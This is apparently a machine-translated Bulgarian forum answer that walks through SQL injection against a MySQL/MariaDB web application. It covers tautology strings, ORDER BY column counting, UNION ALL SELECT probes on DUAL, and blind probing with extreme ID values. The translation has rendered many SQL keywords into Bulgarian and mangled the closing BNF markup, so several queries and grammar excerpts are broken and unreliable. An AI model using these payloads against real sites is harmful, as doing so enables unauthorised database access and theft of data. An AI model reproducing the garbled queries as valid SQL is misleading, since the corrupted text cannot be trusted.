Добре, нека се позабавляваме тогава.
Когато погледна съобщението за грешка
Предполагам, че заявката и кодът в приложението са повече или по-малко като този псевдомъдър, @o
всъщност е потребителска променлива на MySQL..
ИЗБЕРЕТЕ *FROM DUMMY_TABLEWHERE DUMMY_TABLE.o ='",@o,"'LIMIT 10
Ще използвам SQL цигулка пространство за симулиране на тест за инжектиране на SQL и повече получаване на възможен достъп до други таблици.
Можете да тествате вашата инжекция с 1' ИЛИ 1 =1#
или 1' ИЛИ 1 =1--
и двете трябва да работят и трябва да ви дават същия резултат, когато използвате 1
като вход. Това е, защото MariaDB автоматично прехвърля типовете за други бази данни, които може да се наложи да използвате по-строгата версия 1' ИЛИ '1' ='1#
Което трябва да генерира
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o ='1' ИЛИ 1 =1#' LIMIT 10
Или
ИЗБЕРЕТЕ * ОТ DUMMY_TABLE WHERE DUMMY_TABLE.o ='1' ИЛИ 1 =1--' LIMIT 10
След това, тъй като виждате грешки в приложението, можете да използвате ПОРЪЧАЙТЕ ПО 1
за да проверите колко колони са избрани и увеличавайте броя, докато не получите грешка.
Грешка:ER_BAD_FIELD_ERROR:Неизвестна колона „2“ в „клауза за поръчка“
Инжектирайте с
1' ПОРЪЧАЙТЕ С 1#
или 1' ПОРЪЧАЙТЕ С 1--
Което означава сортиране в първата колона в набора от резултати НЕ сортиране 1
буквално.
Генерира
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o ='1' ПОРЪЧАЙ С 1#' LIMIT 10
Или
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o ='1' ПОРЪЧАЙ С 1--' LIMIT 10
Когато знаете колоните, можете да използвате UNION
за да влезете в други маси. Използвайте NULL
ако не ви трябват всички колони.
инжекция
1' UNION ALL SELECT NULL ОТ DUAL#
Имайте предвид, че DUAL
е "виртуална" несъществуваща таблица в MariaDB, MySQL и Oracle, ако можете да направите заявка за тази "таблица", това означава, че технически можете да влезете в други таблици.
генериран SQL
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o ='1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10
И ако уеб страницата е проектирана като страница с "подробности", където един запис винаги се вижда, трябва да добавите LIMIT 1, 1
във вашата инжекция.
Ами ако няма видими грешки в уеб приложението, вие просто трябва да можете сляпо да насилвате geuss със слепи SQL инжекции и да видите как работи приложението.
Опитайте също неща като ?o=0
, ?o=NULL
или много високи числа като максималната INT стойност (подписан) ?o=2147483647
или (неподписан) ?o=4294967295
преди да се опитате да насилите използвания номер на колона, за да знаете как приложението обработва записи, които не могат да бъдат намерени. Тъй като е много малко вероятно да има идентификатор 0
или тези високи числа в INT
тип данни, защото приложението ще спре да работи, ако е дадено последното число. Ако все още получавате запис с тези високи числа, използвайте максималните стойности за BIGINT
вместо това тип данни.
За колона 1 същият идентификатор на резултата o=1
1' UNION ALL SELECT 1 ОТ ДВОЙНО ОГРАНИЧЕНИЕ 1, 1#
За колони 2, които ще допуснат грешка, но най-вероятно ще видите страница за грешка или съобщение, че записът не е намерен.
Или сладко състояние на грешка HTTP 404 (Не е намерено). 1' UNION ALL SELECT 1 ОТ ДВОЙНО ОГРАНИЧЕНИЕ 1, 1#
Един проблем, който може да получите, когато използвате LIMIT
без използване на ПОРЪЧАЙ ПО
може да има шанс да получите същите записи, тъй като стандартът на SQL е дефинирал, че SQL таблиците/наборите с резултати са без поръчка без използване на ПОРЪЧАЙ ПО
Така че в идеалния случай трябва да продължите да използвате ORDER BY 1
в грубите сили.
1' UNION ALL SELECT 1 ОТ ДВОЙНА ПОРЪЧКА ПО 1 DESC#
И
1' UNION ВСИЧКИ ИЗБЕРЕТЕ 1 ОТ ДВОЙНА ПОРЪЧКА С 1 ОГРАНИЧЕНИЕ НА DESC 1, 1#
Базите данни поддържат ORDER BY 1
е по-добре, отколкото си мислех отначало, тъй като работи в MySQL, MariaDB, SQL Server (MSSQL) и PostgreSQL.
Също така ПОРЪЧАЙТЕ С 1
беше функция на SQL 92, която беше премахната в SQL 99.
Така че всъщност SQL бази данни не трябва да изпълняват ORDER BY 1
annymore, ако следват SQL стандартите по този въпрос.
SQL 92 BNF
<предварителен>код> <списък със спецификации за сортиране> ::=<спецификация за сортиране> [ { <запетая> <спецификация за сортиране> }... ] <спецификация за сортиране> ::=<ключ за сортиране> [ <клауза за сортиране> ] [ <спецификация за поръчка> ] <ключ за сортиране> ::=<име на колона> | <цело число без знак> # <- тук е <спецификация на поръчката> ::=ASC | DESCсрещу SQL 1999 BNF
<предварителен>код> <списък със спецификации за сортиране> ::=<спецификация за сортиране> [ { <запетая> <спецификация за сортиране> }... ] <спецификация за сортиране> ::=<ключ за сортиране> [ <клауза за сортиране> ] [ <спецификация за поръчка> ] <ключ за сортиране> ::=<име на колона> # <- липсва <спецификация за поръчка> ::=ASC | DESC